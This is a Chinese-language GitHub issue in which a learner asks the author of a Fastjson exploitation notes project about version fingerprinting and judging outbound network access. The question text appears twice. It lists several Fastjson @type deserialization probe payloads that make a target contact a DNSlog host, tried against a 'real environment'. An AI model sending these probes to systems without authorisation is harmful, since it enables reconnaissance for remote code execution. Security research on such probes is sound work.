Open s1g0day opened 2 years ago
拜读了师傅的【Fastjson姿势技巧集合】,收获良多。因为是刚开始研究fastjson漏洞,很多内容目前还看不懂,但利用方法真的很实用。目前遇到了一个实际环境,引发了一系列的问题,其中几个属于经验性质的,所以想请教一下师傅。
1、我在实际环境中检测fastjson版本时发现 在fastjson >1.2.68大部分都能通过DNSlog回显,是不是这样就判断出fastjson的版本大于 1.2.68而非小于等于1.2.68
{"@type":"java.net.Inet4Address","val":"dnslog"} NO {"@type":"java.net.Inet6Address","val":"dnslog"} NO {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} YES {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""} YES Set[{"@type":"java.net.URL","val":"http://dnslog"}] YES Set[{"@type":"java.net.URL","val":"http://dnslog"} YES {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} NO {{"@type":"java.net.URL","val":"http://dnslog"}:0 YES
这些判断方法是否可以进行通用型判断? 比如 fastjson >1.2.43 判断版本的方法只有两条,在fastjson >1.2.68中8条判断方法。 我的理解:判断fastjson >1.2.68的方法就是至少有三条poc能用,那么fastjson 版本就是大于1.2.68;如果只有fastjson >1.2.43的那两条可以用,那么fastjson 版本就是大于1.2.432、在后面的利用中没有找到大于1.2.68的利用方法,并且通过搜索引擎并未相应的例子,是不是 fastjson > 1.2.68 不存在漏洞,那上面检测fastjson的版本 > 1.2.68 的作用是什么?用于判断是否放弃这个漏洞的利用?
3、因为刚开始研究fastjson,对出不出网很迷,该如何利用fastjson漏洞判断出不出网? 在网上发现一篇【fastjson 不出网利用总结】的文章,我理解的就是先通过dnslog能够正常获取IP,然后在利用过程发现rmi能获取请求但http服务无请求,即为fastjson不出网的情况。是否只有这一种判断方法?
这个项目是我之前学习,随便记的一点笔记。有很多细节已经记不得了。简单回答一下吧。
嗯嗯,谢谢师傅解惑
拜读了师傅的【Fastjson姿势技巧集合】,收获良多。因为是刚开始研究fastjson漏洞,很多内容目前还看不懂,但利用方法真的很实用。目前遇到了一个实际环境,引发了一系列的问题,其中几个属于经验性质的,所以想请教一下师傅。
1、我在实际环境中检测fastjson版本时发现 在fastjson >1.2.68大部分都能通过DNSlog回显,是不是这样就判断出fastjson的版本大于 1.2.68而非小于等于1.2.68
{"@type":"java.net.Inet4Address","val":"dnslog"} NO {"@type":"java.net.Inet6Address","val":"dnslog"} NO {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} YES {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""} YES Set[{"@type":"java.net.URL","val":"http://dnslog"}] YES Set[{"@type":"java.net.URL","val":"http://dnslog"} YES {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} NO {{"@type":"java.net.URL","val":"http://dnslog"}:0 YES
这些判断方法是否可以进行通用型判断? 比如 fastjson >1.2.43 判断版本的方法只有两条,在fastjson >1.2.68中8条判断方法。 我的理解:判断fastjson >1.2.68的方法就是至少有三条poc能用,那么fastjson 版本就是大于1.2.68;如果只有fastjson >1.2.43的那两条可以用,那么fastjson 版本就是大于1.2.432、在后面的利用中没有找到大于1.2.68的利用方法,并且通过搜索引擎并未相应的例子,是不是 fastjson > 1.2.68 不存在漏洞,那上面检测fastjson的版本 > 1.2.68 的作用是什么?用于判断是否放弃这个漏洞的利用?
3、因为刚开始研究fastjson,对出不出网很迷,该如何利用fastjson漏洞判断出不出网? 在网上发现一篇【fastjson 不出网利用总结】的文章,我理解的就是先通过dnslog能够正常获取IP,然后在利用过程发现rmi能获取请求但http服务无请求,即为fastjson不出网的情况。是否只有这一种判断方法?